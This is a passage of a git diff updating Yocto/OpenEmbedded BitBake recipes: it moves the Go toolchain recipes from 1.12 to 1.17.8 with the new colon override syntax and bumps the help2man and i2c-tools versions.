export GO_LDFLAGS = '-linkmode external -extld ${HOST_PREFIX}gcc -extldflags "--sysroot=${STAGING_DIR_HOST} ${SECURITY_NOPIE_CFLAGS} ${HOST_CC_ARCH} ${LDFLAGS}"'
@@ -25,13 +21,12 @@ export GO_LDFLAGS = '-linkmode external -extld ${HOST_PREFIX}gcc -extldflags "--
do_configure[noexec] = "1"
do_compile() {
- export CC_FOR_${HOST_GOOS}_${HOST_GOARCH}="${HOST_PREFIX}gcc --sysroot=${STAGING_DIR_HOST}${SDKPATHNATIVE} ${SECURITY_NOPIE_CFLAGS}"
- export CXX_FOR_${HOST_GOOS}_${HOST_GOARCH}="${HOST_PREFIX}gxx --sysroot=${STAGING_DIR_HOST}${SDKPATHNATIVE} ${SECURITY_NOPIE_CFLAGS}"
+ export CC_FOR_${HOST_GOTUPLE}="${HOST_PREFIX}gcc --sysroot=${STAGING_DIR_HOST}${SDKPATHNATIVE} ${SECURITY_NOPIE_CFLAGS}"
+ export CXX_FOR_${HOST_GOTUPLE}="${HOST_PREFIX}gxx --sysroot=${STAGING_DIR_HOST}${SDKPATHNATIVE} ${SECURITY_NOPIE_CFLAGS}"
cd src
./make.bash --host-only --no-banner
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
diff --git a/meta/recipes-devtools/go/go-cross-canadian_1.12.bb b/meta/recipes-devtools/go/go-cross-canadian_1.17.8.bb
index 7ac9449e47..7ac9449e47 100644
--- a/meta/recipes-devtools/go/go-cross-canadian_1.12.bb
+++ b/meta/recipes-devtools/go/go-cross-canadian_1.17.8.bb
diff --git a/meta/recipes-devtools/go/go-cross.inc b/meta/recipes-devtools/go/go-cross.inc
index 3d344a74d3..a0fbdbe3b9 100644
--- a/meta/recipes-devtools/go/go-cross.inc
+++ b/meta/recipes-devtools/go/go-cross.inc
@@ -5,28 +5,18 @@ DEPENDS = "go-native"
PN = "go-cross-${TUNE_PKGARCH}"
-export GOHOSTOS = "${BUILD_GOOS}"
-export GOHOSTARCH = "${BUILD_GOARCH}"
-export GOOS = "${TARGET_GOOS}"
-export GOARCH = "${TARGET_GOARCH}"
-export GOARM = "${TARGET_GOARM}"
-export GO386 = "${TARGET_GO386}"
-export GOMIPS = "${TARGET_GOMIPS}"
-export GOROOT_BOOTSTRAP = "${STAGING_LIBDIR_NATIVE}/go"
-export GOROOT_FINAL = "${libdir}/go"
export GOCACHE = "${B}/.cache"
CC = "${@d.getVar('BUILD_CC').strip()}"
do_configure[noexec] = "1"
do_compile() {
- export CC_FOR_${GOOS}_${GOARCH}="${TARGET_PREFIX}gcc ${TARGET_CC_ARCH} --sysroot=${STAGING_DIR_TARGET}"
- export CXX_FOR_${GOOS}_${GOARCh}="${TARGET_PREFIX}g++ ${TARGET_CC_ARCH} --sysroot=${STAGING_DIR_TARGET}"
+ export CC_FOR_${TARGET_GOTUPLE}="${TARGET_PREFIX}gcc ${TARGET_CC_ARCH} --sysroot=${STAGING_DIR_TARGET}"
+ export CXX_FOR_${TARGET_GOTUPLE}="${TARGET_PREFIX}g++ ${TARGET_CC_ARCH} --sysroot=${STAGING_DIR_TARGET}"
cd src
./make.bash --host-only --no-banner
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
make_wrapper() {
diff --git a/meta/recipes-devtools/go/go-cross_1.12.bb b/meta/recipes-devtools/go/go-cross_1.17.8.bb
index 80b5a03f6c..80b5a03f6c 100644
--- a/meta/recipes-devtools/go/go-cross_1.12.bb
+++ b/meta/recipes-devtools/go/go-cross_1.17.8.bb
diff --git a/meta/recipes-devtools/go/go-crosssdk.inc b/meta/recipes-devtools/go/go-crosssdk.inc
index 94f6fb8eb7..cd23cca2fe 100644
--- a/meta/recipes-devtools/go/go-crosssdk.inc
+++ b/meta/recipes-devtools/go/go-crosssdk.inc
@@ -4,23 +4,15 @@ DEPENDS = "go-native virtual/${TARGET_PREFIX}gcc-crosssdk virtual/nativesdk-${TA
PN = "go-crosssdk-${SDK_SYS}"
PROVIDES = "virtual/${TARGET_PREFIX}go-crosssdk"
-export GOHOSTOS = "${BUILD_GOOS}"
-export GOHOSTARCH = "${BUILD_GOARCH}"
-export GOOS = "${TARGET_GOOS}"
-export GOARCH = "${TARGET_GOARCH}"
-export GOROOT_BOOTSTRAP = "${STAGING_LIBDIR_NATIVE}/go"
-export GOROOT_FINAL = "${libdir}/go"
-
do_configure[noexec] = "1"
do_compile() {
- export CC_FOR_${TARGET_GOOS}_${TARGET_GOARCH}="${TARGET_PREFIX}gcc ${TARGET_CC_ARCH} --sysroot=${STAGING_DIR_TARGET}${SDKPATHNATIVE}"
- export CXX_FOR_${TARGET_GOOS}_${TARGET_GOARCH}="${TARGET_PREFIX}g++ ${TARGET_CC_ARCH} --sysroot=${STAGING_DIR_TARGET}${SDKPATHNATIVE}"
+ export CC_FOR_${TARGET_GOTUPLE}="${TARGET_PREFIX}gcc ${TARGET_CC_ARCH} --sysroot=${STAGING_DIR_TARGET}${SDKPATHNATIVE}"
+ export CXX_FOR_${TARGET_GOTUPLE}="${TARGET_PREFIX}g++ ${TARGET_CC_ARCH} --sysroot=${STAGING_DIR_TARGET}${SDKPATHNATIVE}"
cd src
./make.bash --host-only --no-banner
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
make_wrapper() {
diff --git a/meta/recipes-devtools/go/go-crosssdk_1.12.bb b/meta/recipes-devtools/go/go-crosssdk_1.17.8.bb
index 1857c8a577..1857c8a577 100644
--- a/meta/recipes-devtools/go/go-crosssdk_1.12.bb
+++ b/meta/recipes-devtools/go/go-crosssdk_1.17.8.bb
diff --git a/meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch b/meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch
deleted file mode 100644
index 34ec9876f8..0000000000
--- a/meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From f0fb80604385ae3266a472601ef685896b4cc0af Mon Sep 17 00:00:00 2001
-From: Vladimir Stefanovic <vladimir.stefanovic@imgtec.com>
-Date: Fri, 17 Feb 2017 20:44:43 +0100
-Subject: [PATCH] Add support for mips, mips64
-
----
-Upstream-Status: Submitted
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
- vendor/github.com/boltdb/bolt/bolt_mips64x.go | 12 ++++++++++++
- vendor/github.com/boltdb/bolt/bolt_mipsx.go | 12 ++++++++++++
- 2 files changed, 24 insertions(+)
- create mode 100644 vendor/github.com/boltdb/bolt/bolt_mips64x.go
- create mode 100644 vendor/github.com/boltdb/bolt/bolt_mipsx.go
-
-diff --git a/vendor/github.com/boltdb/bolt/bolt_mips64x.go b/vendor/github.com/boltdb/bolt/bolt_mips64x.go
-new file mode 100644
-index 00000000..134b578b
---- /dev/null
-+++ b/vendor/github.com/boltdb/bolt/bolt_mips64x.go
-@@ -0,0 +1,12 @@
-+// +build mips64 mips64le
-+
-+package bolt
-+
-+// maxMapSize represents the largest mmap size supported by Bolt.
-+const maxMapSize = 0x8000000000 // 512GB
-+
-+// maxAllocSize is the size used when creating array pointers.
-+const maxAllocSize = 0x7FFFFFFF
-+
-+// Are unaligned load/stores broken on this arch?
-+var brokenUnaligned = false
-diff --git a/vendor/github.com/boltdb/bolt/bolt_mipsx.go b/vendor/github.com/boltdb/bolt/bolt_mipsx.go
-new file mode 100644
-index 00000000..d5ecb059
---- /dev/null
-+++ b/vendor/github.com/boltdb/bolt/bolt_mipsx.go
-@@ -0,0 +1,12 @@
-+// +build mips mipsle
-+
-+package bolt
-+
-+// maxMapSize represents the largest mmap size supported by Bolt.
-+const maxMapSize = 0x40000000 // 1GB
-+
-+// maxAllocSize is the size used when creating array pointers.
-+const maxAllocSize = 0xFFFFFFF
-+
-+// Are unaligned load/stores broken on this arch?
-+var brokenUnaligned = false
---
-2.14.1
-
diff --git a/meta/recipes-devtools/go/go-dep_0.5.4.bb b/meta/recipes-devtools/go/go-dep_0.5.4.bb
deleted file mode 100644
index ead87870e2..0000000000
--- a/meta/recipes-devtools/go/go-dep_0.5.4.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "Dependency management tool for Golang"
-HOMEPAGE = "https://github.com/golang/dep"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://src/${GO_IMPORT}/LICENSE;md5=1bad315647751fab0007812f70d42c0d"
-
-GO_IMPORT = "github.com/golang/dep"
-SRC_URI = "git://${GO_IMPORT} \
- file://0001-Add-support-for-mips-mips64.patch;patchdir=src/github.com/golang/dep \
- "
-
-SRCREV = "1f7c19e5f52f49ffb9f956f64c010be14683468b"
-
-inherit go
-
-GO_INSTALL = "${GO_IMPORT}/cmd/dep"
-
-RDEPENDS_${PN}-dev += "bash"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# For compiling ptest on mips and mips64, the current go-dep version fails with the go 1.11 toolchain.
-# error message: vet config not found
-PTEST_ENABLED_mips = "0"
-PTEST_ENABLED_mips64 = "0"
diff --git a/meta/recipes-devtools/go/go-native.inc b/meta/recipes-devtools/go/go-native.inc
deleted file mode 100644
index 207708745e..0000000000
--- a/meta/recipes-devtools/go/go-native.inc
+++ /dev/null
@@ -1,55 +0,0 @@
-inherit native
-
-SRC_URI_append = " https://dl.google.com/go/go1.4-bootstrap-20171003.tar.gz;name=bootstrap;subdir=go1.4"
-SRC_URI[bootstrap.md5sum] = "dbf727a4b0e365bf88d97cbfde590016"
-SRC_URI[bootstrap.sha256sum] = "f4ff5b5eb3a3cae1c993723f3eab519c5bae18866b5e5f96fe1102f0cb5c3e52"
-
-export GOOS = "${BUILD_GOOS}"
-export GOARCH = "${BUILD_GOARCH}"
-CC = "${@d.getVar('BUILD_CC').strip()}"
-
-GOMAKEARGS ?= "--no-banner"
-
-do_configure() {
- cd ${WORKDIR}/go1.4/go/src
- CGO_ENABLED=0 GOROOT=${WORKDIR}/go1.4/go ./make.bash
-}
-
-do_compile() {
- export GOROOT_FINAL="${libdir_native}/go"
- export GOROOT_BOOTSTRAP="${WORKDIR}/go1.4/go"
-
- cd src
- ./make.bash ${GOMAKEARGS}
- cd ${B}
-}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin"
-do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin"
-
-make_wrapper() {
- rm -f ${D}${bindir}/$2$3
- cat <<END >${D}${bindir}/$2$3
-#!/bin/bash
-here=\`dirname \$0\`
-export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
-\$here/../lib/go/bin/$1 "\$@"
-END
- chmod +x ${D}${bindir}/$2
-}
-
-do_install() {
- install -d ${D}${libdir}/go
- cp --preserve=mode,timestamps -R ${B}/pkg ${D}${libdir}/go/
- install -d ${D}${libdir}/go/src
- (cd ${S}/src; for d in *; do \
- [ -d $d ] && cp -a ${S}/src/$d ${D}${libdir}/go/src/; \
- done)
- find ${D}${libdir}/go/src -depth -type d -name testdata -exec rm -rf {} \;
- install -d ${D}${bindir} ${D}${libdir}/go/bin
- for f in ${B}/bin/*
- do
- base=`basename $f`
- install -m755 $f ${D}${libdir}/go/bin
- make_wrapper $base $base
- done
-}
diff --git a/meta/recipes-devtools/go/go-native_1.12.bb b/meta/recipes-devtools/go/go-native_1.12.bb
deleted file mode 100644
index bbf3c0dd73..0000000000
--- a/meta/recipes-devtools/go/go-native_1.12.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-require ${PN}.inc
-require go-${PV}.inc
diff --git a/meta/recipes-devtools/go/go-native_1.17.8.bb b/meta/recipes-devtools/go/go-native_1.17.8.bb
new file mode 100644
index 0000000000..76c0ab73a6
--- /dev/null
+++ b/meta/recipes-devtools/go/go-native_1.17.8.bb
@@ -0,0 +1,58 @@
+# This recipe builds a native Go (written in Go) by first building an old Go 1.4
+# (written in C). However this old Go does not support all hosts platforms.
+
+require go-${PV}.inc
+
+inherit native
+
+SRC_URI:append = " https://dl.google.com/go/go1.4-bootstrap-20171003.tar.gz;name=bootstrap;subdir=go1.4"
+SRC_URI[bootstrap.sha256sum] = "f4ff5b5eb3a3cae1c993723f3eab519c5bae18866b5e5f96fe1102f0cb5c3e52"
+
+export GOOS = "${BUILD_GOOS}"
+export GOARCH = "${BUILD_GOARCH}"
+CC = "${@d.getVar('BUILD_CC').strip()}"
+
+GOMAKEARGS ?= "--no-banner"
+
+do_configure() {
+ cd ${WORKDIR}/go1.4/go/src
+ CGO_ENABLED=0 GOROOT=${WORKDIR}/go1.4/go ./make.bash
+}
+
+do_compile() {
+ export GOROOT_FINAL="${libdir_native}/go"
+ export GOROOT_BOOTSTRAP="${WORKDIR}/go1.4/go"
+
+ cd src
+ ./make.bash ${GOMAKEARGS}
+ cd ${B}
+}
+do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin"
+
+make_wrapper() {
+ rm -f ${D}${bindir}/$2$3
+ cat <<END >${D}${bindir}/$2$3
+#!/bin/bash
+here=\`dirname \$0\`
+export GOROOT="${GOROOT:-\`readlink -f \$here/../lib/go\`}"
+\$here/../lib/go/bin/$1 "\$@"
+END
+ chmod +x ${D}${bindir}/$2
+}
+
+do_install() {
+ install -d ${D}${libdir}/go
+ cp --preserve=mode,timestamps -R ${B}/pkg ${D}${libdir}/go/
+ install -d ${D}${libdir}/go/src
+ (cd ${S}/src; for d in *; do \
+ [ -d $d ] && cp -a ${S}/src/$d ${D}${libdir}/go/src/; \
+ done)
+ find ${D}${libdir}/go/src -depth -type d -name testdata -exec rm -rf {} \;
+ install -d ${D}${bindir} ${D}${libdir}/go/bin
+ for f in ${B}/bin/*
+ do
+ base=`basename $f`
+ install -m755 $f ${D}${libdir}/go/bin
+ make_wrapper $base $base
+ done
+}
diff --git a/meta/recipes-devtools/go/go-runtime.inc b/meta/recipes-devtools/go/go-runtime.inc
index 9731e164e9..e18339cddb 100644
--- a/meta/recipes-devtools/go/go-runtime.inc
+++ b/meta/recipes-devtools/go/go-runtime.inc
@@ -1,20 +1,17 @@
DEPENDS = "virtual/${TUNE_PKGARCH}-go go-native"
-DEPENDS_class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk"
+DEPENDS:class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk"
PROVIDES = "virtual/${TARGET_PREFIX}go-runtime"
-export GOHOSTOS = "${BUILD_GOOS}"
-export GOHOSTARCH = "${BUILD_GOARCH}"
-export GOOS = "${TARGET_GOOS}"
-export GOARCH = "${TARGET_GOARCH}"
-export GOARM = "${TARGET_GOARM}"
-export GO386 = "${TARGET_GO386}"
-export GOMIPS = "${TARGET_GOMIPS}"
-export GOROOT_BOOTSTRAP = "${STAGING_LIBDIR_NATIVE}/go"
-export GOROOT_FINAL = "${libdir}/go"
+DEBUG_PREFIX_MAP = "\
+ -fdebug-prefix-map=${STAGING_DIR_HOST}= \
+ -fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
+"
+
export CGO_CFLAGS = "${CFLAGS}"
export CGO_CPPFLAGS = "${CPPFLAGS}"
export CGO_CXXFLAGS = "${CXXFLAGS}"
-export CGO_LDFLAGS = "${LDFLAGS}"
+# Filter out -fdebug-prefix-map options as they clash with the GO's build system
+export CGO_LDFLAGS = "${@ ' '.join(filter(lambda f: not f.startswith('-fdebug-prefix-map'), d.getVar('LDFLAGS').split())) }"
export GOCACHE = "${B}/.cache"
GO_EXTLDFLAGS ?= "${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS} ${LDFLAGS}"
@@ -24,24 +21,23 @@ do_configure() {
:
}
-do_configure_libc-musl() {
+do_configure:libc-musl() {
rm -f ${S}/src/runtime/race/*.syso
}
do_compile() {
- export CC_FOR_${TARGET_GOOS}_${TARGET_GOARCH}="${CC}"
- export CXX_FOR_${TARGET_GOOS}_${TARGET_GOARCH}="${CXX}"
+ export CC_FOR_${TARGET_GOTUPLE}="${CC}"
+ export CXX_FOR_${TARGET_GOTUPLE}="${CXX}"
cd src
./make.bash --target-only --no-banner std
if [ -n "${GO_DYNLINK}" ]; then
export GOTOOLDIR="${B}/pkg/tool/native_native"
- CC="$CC_FOR_${TARGET_GOOS}_${TARGET_GOARCH}" GOARCH="${TARGET_GOARCH}" GOOS="${TARGET_GOOS}" GOROOT=${B} \
+ CC="$CC_FOR_${TARGET_GOTUPLE}" GOARCH="${TARGET_GOARCH}" GOOS="${TARGET_GOOS}" GOROOT=${B} \
$GOTOOLDIR/go_bootstrap install -linkshared -buildmode=shared ${GO_SHLIB_LDFLAGS} std
fi
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_install() {
@@ -64,9 +60,9 @@ do_install() {
}
-ALLOW_EMPTY_${PN} = "1"
-FILES_${PN} = "${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*${SOLIBSDEV}"
-FILES_${PN}-dev = "${libdir}/go/src ${libdir}/go/pkg/include \
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = "${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*${SOLIBSDEV}"
+FILES:${PN}-dev = "${libdir}/go/src ${libdir}/go/pkg/include \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*.shlibname \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*.shlibname \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*/*.shlibname \
@@ -82,12 +78,12 @@ FILES_${PN}-dev = "${libdir}/go/src ${libdir}/go/pkg/include \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*/*/*/*/*.a \
${libdir}/go/pkg/${TARGET_GOTUPLE}_dynlink/*/*/*/*/*/*/*.a \
"
-FILES_${PN}-staticdev = "${libdir}/go/pkg/${TARGET_GOTUPLE}"
+FILES:${PN}-staticdev = "${libdir}/go/pkg/${TARGET_GOTUPLE}"
# Go sources include some scripts and pre-built binaries for
# multiple architectures. The static .a files for dynamically-linked
# runtime are also required in -dev.
-INSANE_SKIP_${PN}-dev = "staticdev file-rdeps arch"
+INSANE_SKIP:${PN}-dev = "staticdev file-rdeps arch"
INHIBIT_PACKAGE_STRIP = "1"
INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
diff --git a/meta/recipes-devtools/go/go-runtime_1.12.bb b/meta/recipes-devtools/go/go-runtime_1.12.bb
deleted file mode 100644
index 43b68b4e46..0000000000
--- a/meta/recipes-devtools/go/go-runtime_1.12.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-require go-${PV}.inc
-require go-runtime.inc
diff --git a/meta/recipes-devtools/go/go-runtime_1.17.8.bb b/meta/recipes-devtools/go/go-runtime_1.17.8.bb
new file mode 100644
index 0000000000..63464a1501
--- /dev/null
+++ b/meta/recipes-devtools/go/go-runtime_1.17.8.bb
@@ -0,0 +1,3 @@
+require go-${PV}.inc
+require go-runtime.inc
+
diff --git a/meta/recipes-devtools/go/go-target.inc b/meta/recipes-devtools/go/go-target.inc
index 91efd3e977..d085643036 100644
--- a/meta/recipes-devtools/go/go-target.inc
+++ b/meta/recipes-devtools/go/go-target.inc
@@ -1,21 +1,23 @@
DEPENDS = "virtual/${TUNE_PKGARCH}-go go-native"
-DEPENDS_class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk go-native"
-
-export GOHOSTOS = "${BUILD_GOOS}"
-export GOHOSTARCH = "${BUILD_GOARCH}"
-export GOOS = "${TARGET_GOOS}"
-export GOARCH = "${TARGET_GOARCH}"
-export GOARM = "${TARGET_GOARM}"
-export GO386 = "${TARGET_GO386}"
-export GOMIPS = "${TARGET_GOMIPS}"
-export GOROOT_BOOTSTRAP = "${STAGING_LIBDIR_NATIVE}/go"
-export GOROOT_FINAL = "${libdir}/go"
+DEPENDS:class-nativesdk = "virtual/${TARGET_PREFIX}go-crosssdk go-native"
+
+DEBUG_PREFIX_MAP = "\
+ -fdebug-prefix-map=${STAGING_DIR_HOST}= \
+ -fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
+"
+
+export CGO_CFLAGS = "${CFLAGS}"
+export CGO_CPPFLAGS = "${CPPFLAGS}"
+export CGO_CXXFLAGS = "${CXXFLAGS}"
+# Filter out -fdebug-prefix-map options as they clash with the GO's build system
+export CGO_LDFLAGS = "${@ ' '.join(filter(lambda f: not f.startswith('-fdebug-prefix-map'), d.getVar('LDFLAGS').split())) }"
+
export GOCACHE = "${B}/.cache"
GO_LDFLAGS = ""
-GO_LDFLAGS_class-nativesdk = "-linkmode external"
+GO_LDFLAGS:class-nativesdk = "-linkmode external"
export GO_LDFLAGS
-CC_append_class-nativesdk = " ${SECURITY_NOPIE_CFLAGS}"
+CC:append:class-nativesdk = " ${SECURITY_NOPIE_CFLAGS}"
do_configure[noexec] = "1"
@@ -27,7 +29,6 @@ do_compile() {
./make.bash --target-only --no-banner
cd ${B}
}
-do_compile[dirs] =+ "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_compile[cleandirs] += "${GOTMPDIR} ${B}/bin ${B}/pkg"
do_install() {
@@ -43,12 +44,12 @@ do_install() {
install -m 0755 $f ${D}${libdir}/go/bin/
ln -sf ../${baselib}/go/bin/$name ${D}${bindir}/
done
+ rm -rf ${D}${libdir}/go/src
}
PACKAGES = "${PN} ${PN}-dev"
-FILES_${PN} = "${libdir}/go/bin ${libdir}/go/pkg/tool/${TARGET_GOTUPLE} ${bindir}"
-FILES_${PN}-dev = "${libdir}/go"
-RDEPENDS_${PN}-dev = "perl bash"
-INSANE_SKIP_${PN} = "ldflags"
+FILES:${PN} = "${libdir}/go/bin ${libdir}/go/pkg/tool/${TARGET_GOTUPLE} ${bindir}"
+RDEPENDS:${PN} = "go-runtime"
+INSANE_SKIP:${PN} = "ldflags"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/go/go_1.12.bb b/meta/recipes-devtools/go/go_1.12.bb
deleted file mode 100644
index 42cdb0430a..0000000000
--- a/meta/recipes-devtools/go/go_1.12.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require go-${PV}.inc
-require go-target.inc
-
-export GOBUILDMODE=""
-
-# Add pie to GOBUILDMODE to satisfy "textrel" QA checking, but mips
-# doesn't support -buildmode=pie, so skip the QA checking for mips and its
-# variants.
-python() {
- if 'mips' in d.getVar('TARGET_ARCH'):
- d.appendVar('INSANE_SKIP_%s' % d.getVar('PN'), " textrel")
- else:
- d.setVar('GOBUILDMODE', 'pie')
-}
diff --git a/meta/recipes-devtools/go/go_1.17.8.bb b/meta/recipes-devtools/go/go_1.17.8.bb
new file mode 100644
index 0000000000..34dc89bb0c
--- /dev/null
+++ b/meta/recipes-devtools/go/go_1.17.8.bb
@@ -0,0 +1,17 @@
+require go-${PV}.inc
+require go-target.inc
+
+inherit linuxloader
+
+export GOBUILDMODE=""
+export GO_LDSO = "${@get_linuxloader(d)}"
+export CC_FOR_TARGET = "gcc"
+export CXX_FOR_TARGET = "g++"
+
+# mips/rv64 doesn't support -buildmode=pie, so skip the QA checking for mips/riscv32 and its
+# variants.
+python() {
+ if 'mips' in d.getVar('TARGET_ARCH',True) or 'riscv32' in d.getVar('TARGET_ARCH',True):
+ d.appendVar('INSANE_SKIP:%s' % d.getVar('PN',True), " textrel")
+}
+
diff --git a/meta/recipes-devtools/help2man/help2man-native_1.47.11.bb b/meta/recipes-devtools/help2man/help2man-native_1.47.11.bb
deleted file mode 100644
index a60e851897..0000000000
--- a/meta/recipes-devtools/help2man/help2man-native_1.47.11.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "Program for creating simple man pages"
-SECTION = "devel"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-DEPENDS = "autoconf-native automake-native"
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "dd322adcaede5bd5eaed075ff8971bc1"
-SRC_URI[sha256sum] = "5985b257f86304c8791842c0c807a37541d0d6807ee973000cf8a3fe6ad47b88"
-
-inherit autotools native
-
-EXTRA_OECONF = "--disable-nls"
-
-# We don't want to reconfigure things as it would require 'perlnative' to be
-# used.
-do_configure() {
- oe_runconf
-}
-
-do_install_append () {
- # Make sure we use /usr/bin/env perl
- sed -i -e "1s:#!.*:#! /usr/bin/env perl:" ${D}${bindir}/help2man
-}
diff --git a/meta/recipes-devtools/help2man/help2man_1.49.1.bb b/meta/recipes-devtools/help2man/help2man_1.49.1.bb
new file mode 100644
index 0000000000..32c1b2fc06
--- /dev/null
+++ b/meta/recipes-devtools/help2man/help2man_1.49.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Program for creating simple man pages"
+HOMEPAGE = "https://www.gnu.org/software/help2man/"
+DESCRIPTION = "help2man is a tool for automatically generating simple manual pages from program output."
+SECTION = "devel"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "fd99a664ec4be9a86a0dd89719989f14f367a9c079d75d0e1d71e18a7bb51b03"
+
+inherit autotools
+
+# This is a hand-maintained aclocal.m4 but our autotools class currently deletes
+# aclocal.m4.
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+EXTRA_OECONF = "--disable-nls"
+
+do_install:append () {
+ # Make sure we use /usr/bin/env perl
+ sed -i -e "1s:#!.*:#! /usr/bin/env perl:" ${D}${bindir}/help2man
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/i2c-tools/i2c-tools_4.1.bb b/meta/recipes-devtools/i2c-tools/i2c-tools_4.1.bb
deleted file mode 100644
index c5761170aa..0000000000
--- a/meta/recipes-devtools/i2c-tools/i2c-tools_4.1.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Set of i2c tools for linux"
-HOMEPAGE = "https://i2c.wiki.kernel.org/index.php/I2C_Tools"
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/utils/i2c-tools/${BP}.tar.gz \
-"
-
-SRC_URI[md5sum] = "3536237a6b51fb10caacdc3b8a496237"
-SRC_URI[sha256sum] = "ef8f77afc70e7dbfd1171bfeae87a8a7f10074829370ce8d9ccd585a014e0073"
-
-inherit update-alternatives
-
-EXTRA_OEMAKE = "bindir=${bindir} sbindir=${sbindir} \
- incdir=${includedir} libdir=${libdir} \
- mandir=${mandir} \
- EXTRA=eeprog"
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-}
-
-PACKAGES =+ "${PN}-misc"
-FILES_${PN}-misc = "${sbindir}/i2c-stub-from-dump \
- ${bindir}/ddcmon \
- ${bindir}/decode-edid \
- ${bindir}/decode-dimms \
- ${bindir}/decode-vaio \
- "
-RDEPENDS_${PN}-misc = "${PN} perl perl-module-posix \
- perl-module-constant perl-module-file-basename \
- perl-module-fcntl perl-module-strict perl-module-vars \
- perl-module-carp \
- "
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "i2cdetect i2cdump i2cget i2cset i2ctransfer"
-ALTERNATIVE_LINK_NAME[i2cdetect] = "${sbindir}/i2cdetect"
-ALTERNATIVE_LINK_NAME[i2cdump] = "${sbindir}/i2cdump"
-ALTERNATIVE_LINK_NAME[i2cget] = "${sbindir}/i2cget"
-ALTERNATIVE_LINK_NAME[i2cset] = "${sbindir}/i2cset"
-ALTERNATIVE_LINK_NAME[i2ctransfer] = "${sbindir}/i2ctransfer"
diff --git a/meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb b/meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb
new file mode 100644
index 0000000000..4e43c51496
--- /dev/null
+++ b/meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Set of i2c tools for linux"
+HOMEPAGE = "https://i2c.wiki.kernel.org/index.php/I2C_Tools"
+DESCRIPTION = "The i2c-tools package contains a heterogeneous set of I2C tools for Linux: a bus probing tool, a chip dumper, register-level SMBus access helpers, EEPROM decoding scripts, EEPROM programming tools, and a python module for SMBus access. All versions of Linux are supported, as long as I2C support is included in the kernel."
+SECTION = "base"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/utils/i2c-tools/${BP}.tar.gz \
+"
+
+SRC_URI[sha256sum] = "eec464e42301d93586cbeca3845ed61bff40f560670e5b35baec57301d438148"
+
+inherit update-alternatives
+
+EXTRA_OEMAKE = "bindir=${bindir} sbindir=${sbindir} \
+ incdir=${includedir} libdir=${libdir} \
+ mandir=${mandir} \
+ EXTRA=eeprog"
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+}
+
+PACKAGES =+ "${PN}-misc"
+FILES:${PN}-misc = "${sbindir}/i2c-stub-from-dump \
+ ${bindir}/ddcmon \
+ ${bindir}/decode-edid \
+ ${bindir}/decode-dimms \
+ ${bindir}/decode-vaio \
+ "
+RDEPENDS:${PN}-misc = "${PN} perl perl-module-posix \
